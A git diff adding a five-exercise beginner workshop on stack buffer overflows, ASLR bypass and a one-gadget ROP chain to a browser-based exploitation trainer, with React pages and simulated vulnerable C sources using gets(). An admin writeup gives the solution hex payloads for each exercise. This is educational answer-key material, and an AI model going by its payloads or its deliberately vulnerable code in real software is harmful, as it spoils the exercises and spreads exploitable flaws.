diff --git a/imagine-rit-adminwriteup.md b/imagine-rit-adminwriteup.md new file mode 100644 index 0000000..d038f42 --- /dev/null +++ b/imagine-rit-adminwriteup.md @@ -0,0 +1,72 @@ +# Imagine RIT — Admin Writeup + +Solutions for all 5 exercises in the Imagine RIT workshop. + +--- + +## Exercise 01: The Stack Frame + +No input needed. Just click **Step** 4 times to watch the stack frame build up. + +--- + +## Exercise 02: The Overflow + +Send more than 20 bytes to overwrite the go-back address with garbage and crash the program. + +``` +41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 +``` + +(24 bytes of 0x41 — fills the 16-byte buffer, overwrites 4-byte bookmark, trashes the go-back address) + +--- + +## Exercise 03: Hijack Execution + +Overflow the buffer and overwrite the go-back address with win() at `0x08048150`. + +``` +41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 42 42 42 50 81 04 08 +``` + +Breakdown: +- `41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41` — 16 bytes buffer padding +- `42 42 42 42` — 4 bytes overwrite the bookmark (junk) +- `50 81 04 08` — win() address `0x08048150` in little-endian + +--- + +## Exercise 04: Randomized Addresses + +Addresses change every run. Read the leaked main() address from the log, add `0x150` to get win(). + +Example: if main is leaked as `0x08248000`, then win = `0x08248000 + 0x150 = 0x08248150`. + +``` +41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 42 42 42 [win address in little-endian] +``` + +Use the hex calculator in the exercise to compute the address, then enter it backwards (least significant byte first). + +--- + +## Exercise 05: Baby's First ROP + +One gadget at `0x08048300` that does: `pop eax; pop ebx; mov [ebx], eax; ret` + +Goal: write `0xdeadbeef` into `flag_check` at `0x0804a040`, then jump to win() at `0x08048150`. + +``` +41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 42 42 42 00 83 04 08 ef be ad de 40 a0 04 08 50 81 04 08 +``` + +Breakdown: +- `41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41` — 16 bytes buffer padding +- `42 42 42 42` — 4 bytes overwrite the bookmark +- `00 83 04 08` — gadget address `0x08048300` (overwrites go-back address) +- `ef be ad de` — `0xdeadbeef` (gadget pops this into eax) +- `40 a0 04 08` — `0x0804a040` (gadget pops this into ebx) +- `50 81 04 08` — win() address `0x08048150` (gadget's `ret` jumps here after writing eax to [ebx]) + +The gadget writes 0xdeadbeef to flag_check, then returns into win(), which sees the correct value and prints the flag. diff --git a/src/app/imagine-rit/[id]/page.tsx b/src/app/imagine-rit/[id]/page.tsx new file mode 100644 index 0000000..a7fa6db --- /dev/null +++ b/src/app/imagine-rit/[id]/page.tsx @@ -0,0 +1,11 @@ +import ExercisePageClient from '@/app/exercise/[id]/ExercisePageClient'; + +const IMAGINE_RIT_IDS = ['rit-01', 'rit-02', 'rit-03', 'rit-04', 'rit-rop']; + +export function generateStaticParams() { + return IMAGINE_RIT_IDS.map((id) => ({ id })); +} + +export default function ImagineRitExercisePage({ params }: { params: Promise<{ id: string }> }) { + return ; +} diff --git a/src/app/imagine-rit/layout.tsx b/src/app/imagine-rit/layout.tsx new file mode 100644 index 0000000..816f5da --- /dev/null +++ b/src/app/imagine-rit/layout.tsx @@ -0,0 +1,25 @@ +'use client'; + +import { ExerciseContextProvider } from '@/state/ExerciseContext'; +import ImagineRitSidebar from '@/components/AppShell/ImagineRitSidebar'; +import SuccessBanner from '@/components/shared/SuccessBanner'; + +export default function ImagineRitLayout({ children }: { children: React.ReactNode }) { + return ( + + + + 0xVRIG + + + + + + {children} + + + + + + ); +} diff --git a/src/app/imagine-rit/page.tsx b/src/app/imagine-rit/page.tsx new file mode 100644 index 0000000..afefb96 --- /dev/null +++ b/src/app/imagine-rit/page.tsx @@ -0,0 +1,97 @@ +'use client'; + +import { useEffect, useState } from 'react'; +import { useRouter } from 'next/navigation'; +import { loadProgress } from '@/state/persistence'; + +const EXERCISES = [ + { id: 'rit-01', title: '01: The Stack Frame', desc: 'Watch how the computer organizes memory — like a stack of sticky notes.' }, + { id: 'rit-02', title: '02: The Overflow', desc: 'Type too much and crash the program. Yes, it\'s that easy.' }, + { id: 'rit-03', title: '03: Hijack Execution', desc: 'Make the program run a secret function it was never supposed to call.' }, + { id: 'rit-04', title: '04: Randomized Addresses', desc: 'The computer scrambles its memory — use a leaked hint to beat it.' }, + { id: 'rit-rop', title: '05: Baby\'s First ROP', desc: 'Bypass the final defense by jumping to code that already exists.' }, +]; + +export default function ImagineRitPage() { + const router = useRouter(); + const [completed, setCompleted] = useState>(new Set()); + const [mounted, setMounted] = useState(false); + + useEffect(() => { + setCompleted(loadProgress()); + setMounted(true); + }, []); + + if (!mounted) return null; + + const doneCount = EXERCISES.filter(ex => completed.has(ex.id)).length; + + return ( + + + 0xVRIG — Imagine RIT + + + Learn how hackers exploit programs — in 5 hands-on exercises + + + No coding experience needed. Each exercise builds on the last. + + + + Progress: {doneCount}/{EXERCISES.length}{' '} + + {'█'.repeat(doneCount)}{'░'.repeat(EXERCISES.length - doneCount)} + + + + + {EXERCISES.map((ex, i) => { + const done = completed.has(ex.id); + const isNext = !done && EXERCISES.slice(0, i).every(e => completed.has(e.id)); + return ( + router.push(`/imagine-rit/${ex.id}`)} + style={{ + padding: '0.75rem 1rem', + border: `1px solid ${isNext ? 'var(--green)' : 'var(--panel-border)'}`, + cursor: 'pointer', + opacity: done ? 0.6 : 1, + }} + > + + {done && ✓} + {isNext && →} + {ex.title} + + {ex.desc} + + ); + })} + + + {doneCount === EXERCISES.length && ( + + + Workshop Complete! + + + You learned how buffer overflows work, hijacked program execution, bypassed ASLR, and built a ROP chain. Nice work! + + + )} + + ); +} diff --git a/src/components/AppShell/ImagineRitSidebar.tsx b/src/components/AppShell/ImagineRitSidebar.tsx new file mode 100644 index 0000000..a933081 --- /dev/null +++ b/src/components/AppShell/ImagineRitSidebar.tsx @@ -0,0 +1,56 @@ +'use client'; + +import { useRouter, usePathname } from 'next/navigation'; +import { useExerciseContext } from '@/state/ExerciseContext'; + +const IMAGINE_RIT_EXERCISES = [ + { id: 'rit-01', title: 'The Stack Frame' }, + { id: 'rit-02', title: 'The Overflow' }, + { id: 'rit-03', title: 'Hijack Execution' }, + { id: 'rit-04', title: 'Randomized Addresses' }, + { id: 'rit-rop', title: "Baby's First ROP" }, +]; + +export default function ImagineRitSidebar() { + const router = useRouter(); + const pathname = usePathname(); + const { state } = useExerciseContext(); + + const activeId = pathname?.split('/imagine-rit/')[1] ?? ''; + + return ( + + ); +} diff --git a/src/components/panels/InputPanel/inputs/TextHexInput.tsx b/src/components/panels/InputPanel/inputs/TextHexInput.tsx index 547474e..e225081 100644 --- a/src/components/panels/InputPanel/inputs/TextHexInput.tsx +++ b/src/components/panels/InputPanel/inputs/TextHexInput.tsx @@ -8,7 +8,7 @@ import { generateExecSteps, execCurrentStep, ExecStep } from '@/engine/execution export default function TextHexInput() { const { state, dispatch, stackSim, currentExercise } = useExerciseContext(); const [payload, setPayload] = useState(''); - const [mode, setMode] = useState<'text' | 'hex'>(state.inputMode); + const [mode, setMode] = useState<'text' | 'hex'>(currentExercise?.mode === 'input-hex' ? 'hex' : state.inputMode); const [execSteps, setExecSteps] = useState(null); const [execIndex, setExecIndex] = useState(0); const [ropState] = useState<{ ropEax?: number; ropEbx?: number; ropFlagValue?: number }>({}); @@ -151,7 +151,7 @@ export default function TextHexInput() { return ( - {!isTextMode && ( + {isTextMode && ( setMode('hex')} /> Hex @@ -168,7 +168,7 @@ export default function TextHexInput() { setExecSteps(null); setExecIndex(0); }} - placeholder={isTextMode ? 'Type your input here...' : mode === 'hex' ? 'Enter hex bytes: 41 41 41 41 ...' : 'Type ASCII input...'} + placeholder={isTextMode ? (mode === 'hex' ? 'Enter hex bytes: 41 41 41 41 ...' : 'Type your input here...') : 'Enter hex bytes: 41 41 41 41 ...'} style={{ width: '100%', minHeight: '60px', diff --git a/src/exercises/imagine-rit/baby-rop.ts b/src/exercises/imagine-rit/baby-rop.ts new file mode 100644 index 0000000..dd3fd24 --- /dev/null +++ b/src/exercises/imagine-rit/baby-rop.ts @@ -0,0 +1,57 @@ +import { Exercise } from '../types'; + +const babyRop: Exercise = { + id: 'rit-rop', + unitId: 'imagine-rit', + title: "05: Baby's First ROP", + desc: 'Final boss! The program blocks new code, but there\'s a gadget — a reusable snippet already in memory. This one loads two values from the stack and writes one into the other. Your chain: ① 20 bytes padding, ② gadget address (from the table), ③ the magic value 0xdeadbeef, ④ the target address 0x0804a040, ⑤ win() address. The gadget writes the magic value into flag_check, then you jump to win()!', + source: { + c: [ + { text: '#include ', cls: '' }, + { text: '', cls: '' }, + { text: '// New code is blocked...', cls: 'cmt' }, + { text: '// But this gadget already exists in the program:', cls: 'cmt' }, + { text: '// 0x08048300: load two values, write one to the other\'s address', cls: 'cmt' }, + { text: '', cls: '' }, + { text: 'int flag_check = 0; // at address 0x0804a040', cls: 'highlight' }, + { text: '', cls: '' }, + { text: 'void win() {', cls: '' }, + { text: ' if (flag_check == 0xdeadbeef)', cls: '' }, + { text: ' printf("FLAG{baby_rop}\\n");', cls: 'highlight' }, + { text: '}', cls: '' }, + { text: '', cls: '' }, + { text: 'void vuln() {', cls: '', fn: true }, + { text: ' char buf[16];', cls: '' }, + { text: ' gets(buf);', cls: 'highlight vuln' }, + { text: '}', cls: '' }, + { text: '', cls: '' }, + { text: 'int main() {', cls: '' }, + { text: ' vuln();', cls: '' }, + { text: ' return 0;', cls: '' }, + { text: '}', cls: '' }, + ], + }, + mode: 'input-hex', + vizMode: 'stack', + bufSize: 16, + showSymbols: true, + showBuilder: false, + showGadgetTable: true, + aslr: false, + nx: true, + rop: true, + protections: [{ name: 'NX/DEP', status: 'bypassed' }], + gadgets: { + 0x08048300: 'pop eax; pop ebx; mov [ebx], eax; ret', + }, + flagAddr: 0x0804a040, + magicValue: 0xdeadbeef, + check(_sim, _heap, _symbols, flags) { + return flags.ropWin === true; + }, + winTitle: 'FLAG{baby_rop}', + winMsg: 'You used one gadget to write a value into memory, then jumped to win(). That\'s a real ROP chain — reusing existing code to do what you want! Workshop complete!', + realWorld: 'This "code reuse" technique is behind almost every modern hack — it was used to jailbreak iPhones, hack game consoles, and break into browsers.', +}; + +export default babyRop; diff --git a/src/exercises/imagine-rit/index.ts b/src/exercises/imagine-rit/index.ts new file mode 100644 index 0000000..28bcb19 --- /dev/null +++ b/src/exercises/imagine-rit/index.ts @@ -0,0 +1,14 @@ +import { Exercise } from '../types'; +import rit01Stack from './rit-01-stack'; +import rit02Overflow from './rit-02-overflow'; +import rit03Hijack from './rit-03-hijack'; +import rit04Aslr from './rit-04-aslr'; +import babyRop from './baby-rop'; + +export const imagineRitExercises: Exercise[] = [ + rit01Stack, + rit02Overflow, + rit03Hijack, + rit04Aslr, + babyRop, +]; diff --git a/src/exercises/imagine-rit/rit-01-stack.ts b/src/exercises/imagine-rit/rit-01-stack.ts new file mode 100644 index 0000000..7100e28 --- /dev/null +++ b/src/exercises/imagine-rit/rit-01-stack.ts @@ -0,0 +1,40 @@ +import { Exercise } from '../types'; + +const rit01Stack: Exercise = { + id: 'rit-01', + unitId: 'imagine-rit', + title: '01: The Stack Frame', + desc: 'Think of memory like a stack of sticky notes. When a function runs, the computer sticks three notes on top: ① a "go-back address" (where to return when done), ② a bookmark, and ③ a scratchpad for your input. Click Step to watch each one appear.', + source: { + c: [ + { text: '#include ', cls: '' }, + { text: '', cls: '' }, + { text: 'void vuln() {', cls: '', fn: true }, + { text: ' char buf[16]; // scratchpad: 16 bytes', cls: 'highlight' }, + { text: '}', cls: '' }, + { text: '', cls: '' }, + { text: 'int main() {', cls: '' }, + { text: ' vuln(); // calls the function above', cls: 'highlight' }, + { text: ' return 0;', cls: '' }, + { text: '}', cls: '' }, + ], + }, + mode: 'step', + vizMode: 'stack', + bufSize: 16, + showSymbols: false, + showBuilder: false, + aslr: false, + steps: [ + { region: 'none', log: ['info', 'main() is calling vuln()… watch what happens to memory below'] }, + { region: 'ret', log: ['action', 'Sticky note #1: the "go-back address" — so the computer remembers where to return'] }, + { region: 'ebp', log: ['action', 'Sticky note #2: a bookmark (you can ignore this one)'] }, + { region: 'buffer', log: ['action', 'Sticky note #3: the scratchpad — 16 bytes where your input goes'] }, + { region: 'all', log: ['info', 'Done! Notice: your scratchpad (green) sits RIGHT BELOW the go-back address (orange). What happens if we write too much into the scratchpad…?'] }, + ], + check() { return false; }, + winTitle: 'Stack Frame Complete', + winMsg: 'You\'ve seen how memory is laid out. The key insight: your input area sits right next to the go-back address with nothing protecting it.', +}; + +export default rit01Stack; diff --git a/src/exercises/imagine-rit/rit-02-overflow.ts b/src/exercises/imagine-rit/rit-02-overflow.ts new file mode 100644 index 0000000..2da6902 --- /dev/null +++ b/src/exercises/imagine-rit/rit-02-overflow.ts @@ -0,0 +1,39 @@ +import { Exercise } from '../types'; + +const rit02Overflow: Exercise = { + id: 'rit-02', + unitId: 'imagine-rit', + title: '02: The Overflow', + desc: 'The scratchpad only fits 16 bytes, but the program doesn\'t check how much you send! Use the payload builder to add padding — keep going past 16 bytes and watch your data spill into the go-back address. Once you trash it, the program won\'t know where to go and it crashes.', + source: { + c: [ + { text: '#include ', cls: '' }, + { text: '', cls: '' }, + { text: 'void vuln() {', cls: '', fn: true }, + { text: ' char buf[16]; // only 16 bytes!', cls: '' }, + { text: ' gets(buf); // no size check!', cls: 'highlight vuln' }, + { text: '}', cls: '' }, + { text: '', cls: '' }, + { text: 'int main() {', cls: '' }, + { text: ' printf("What is your name? ");', cls: '' }, + { text: ' vuln();', cls: '' }, + { text: ' return 0;', cls: '' }, + { text: '}', cls: '' }, + ], + }, + mode: 'input-hex', + vizMode: 'stack', + bufSize: 16, + showSymbols: false, + showBuilder: true, + aslr: false, + check(sim, _heap, symbols) { + const ret = sim.getRetAddr(); + return ret !== sim.origRetAddr && !Object.values(symbols).includes(ret); + }, + winTitle: 'CRASH! The program broke.', + winMsg: 'You just crashed the program by sending too much data! Your extra bytes overwrote the go-back address with garbage, so the computer tried to jump to a nonsense location and exploded. Next up — what if we control WHERE it jumps instead of just crashing?', + realWorld: 'This is exactly how hackers crashed programs in the real world — the famous "Morris Worm" (1988) used this same trick to infect 10% of the entire internet.', +}; + +export default rit02Overflow; diff --git a/src/exercises/imagine-rit/rit-03-hijack.ts b/src/exercises/imagine-rit/rit-03-hijack.ts new file mode 100644 index 0000000..91a85dc --- /dev/null +++ b/src/exercises/imagine-rit/rit-03-hijack.ts @@ -0,0 +1,41 @@ +import { Exercise } from '../types'; + +const rit03Hijack: Exercise = { + id: 'rit-03', + unitId: 'imagine-rit', + title: '03: Hijack Execution', + desc: 'There\'s a secret function called win() that prints the flag — but the program never calls it. Your job: overwrite the go-back address with win()\'s address so the program jumps there. Use the payload builder: ① Add 20 bytes of padding (fills scratchpad + bookmark), ② Add the address of win() from the symbols table. The builder handles the byte ordering for you!', + source: { + c: [ + { text: '#include ', cls: '' }, + { text: '', cls: '' }, + { text: 'void win() { // SECRET FUNCTION', cls: '' }, + { text: ' printf("FLAG{you_own_the_program}\\n");', cls: 'highlight' }, + { text: '}', cls: '' }, + { text: '', cls: '' }, + { text: 'void vuln() {', cls: '', fn: true }, + { text: ' char buf[16];', cls: '' }, + { text: ' gets(buf); // no size check!', cls: 'highlight vuln' }, + { text: '}', cls: '' }, + { text: '', cls: '' }, + { text: 'int main() {', cls: '' }, + { text: ' vuln();', cls: '' }, + { text: ' return 0;', cls: '' }, + { text: '}', cls: '' }, + ], + }, + mode: 'input-hex', + vizMode: 'stack', + bufSize: 16, + showSymbols: true, + showBuilder: true, + aslr: false, + check(sim, _heap, symbols) { + return sim.getRetAddr() === symbols.win; + }, + winTitle: 'FLAG{you_own_the_program}', + winMsg: 'You just hacked a program! You made it run a function it was never supposed to call by controlling the go-back address. This is exactly how real hackers take over computers.', + realWorld: 'In 2020, hackers used this same technique to remotely take over Windows computers just by sending a crafted network message (CVE-2020-0796).', +}; + +export default rit03Hijack; diff --git a/src/exercises/imagine-rit/rit-04-aslr.ts b/src/exercises/imagine-rit/rit-04-aslr.ts new file mode 100644 index 0000000..cc48a5d --- /dev/null +++ b/src/exercises/imagine-rit/rit-04-aslr.ts @@ -0,0 +1,45 @@ +import { Exercise } from '../types'; + +const rit04Aslr: Exercise = { + id: 'rit-04', + unitId: 'imagine-rit', + title: '04: Randomized Addresses', + desc: 'The computer got smarter — it scrambles where everything lives in memory each time. Your old win() address won\'t work! But the program accidentally leaks where main() is. Since win() is always +0x150 after main, you just add: leaked address + 0x150 = win(). Use the calculator on the right, then build your payload the same way as before.', + source: { + c: [ + { text: '#include ', cls: '' }, + { text: '', cls: '' }, + { text: 'void win() { // SECRET FUNCTION', cls: '' }, + { text: ' printf("FLAG{aslr_defeated}\\n");', cls: '' }, + { text: '}', cls: '' }, + { text: '', cls: '' }, + { text: 'void vuln() {', cls: '', fn: true }, + { text: ' char buf[16];', cls: '' }, + { text: ' // Oops! Program leaks an address:', cls: 'cmt' }, + { text: ' printf("DEBUG: main is at %p\\n", main);', cls: 'highlight' }, + { text: ' gets(buf);', cls: 'highlight vuln' }, + { text: '}', cls: '' }, + { text: '', cls: '' }, + { text: 'int main() {', cls: '' }, + { text: ' vuln();', cls: '' }, + { text: ' return 0;', cls: '' }, + { text: '}', cls: '' }, + ], + }, + mode: 'input-hex', + vizMode: 'stack', + bufSize: 16, + showSymbols: false, + showBuilder: true, + showCalc: true, + aslr: true, + protections: [{ name: 'ASLR', status: 'bypassed' }], + check(sim, _heap, symbols) { + return sim.getRetAddr() === symbols.win; + }, + winTitle: 'FLAG{aslr_defeated}', + winMsg: 'Even though the addresses were scrambled, you beat it with simple addition! One leaked address was all you needed. This is how real hackers defeat address randomization — find one leak, calculate the rest.', + realWorld: 'Nearly every modern hack needs to beat address randomization first. Hackers hunt for any place where a program accidentally reveals an address.', +}; + +export default rit04Aslr; diff --git a/src/exercises/registry.ts b/src/exercises/registry.ts index 4bfb916..28b0fb0 100644 --- a/src/exercises/registry.ts +++ b/src/exercises/registry.ts @@ -21,6 +21,7 @@ import { unit17Exercises } from './unit17-advanced-ii'; import { unit18Exercises } from './unit18-kernel'; import { unit19Exercises } from './unit19-glibc-bypass'; import { unit20Exercises } from './unit20-teaching-gaps'; +import { imagineRitExercises } from './imagine-rit'; const ALL_EXERCISES: Exercise[] = [ ...unitIntroCExercises, @@ -45,6 +46,7 @@ const ALL_EXERCISES: Exercise[] = [ ...unit18Exercises, ...unit19Exercises, ...unit20Exercises, + ...imagineRitExercises, ]; const exerciseMap = new Map();
+ Learn how hackers exploit programs — in 5 hands-on exercises +
+ No coding experience needed. Each exercise builds on the last. +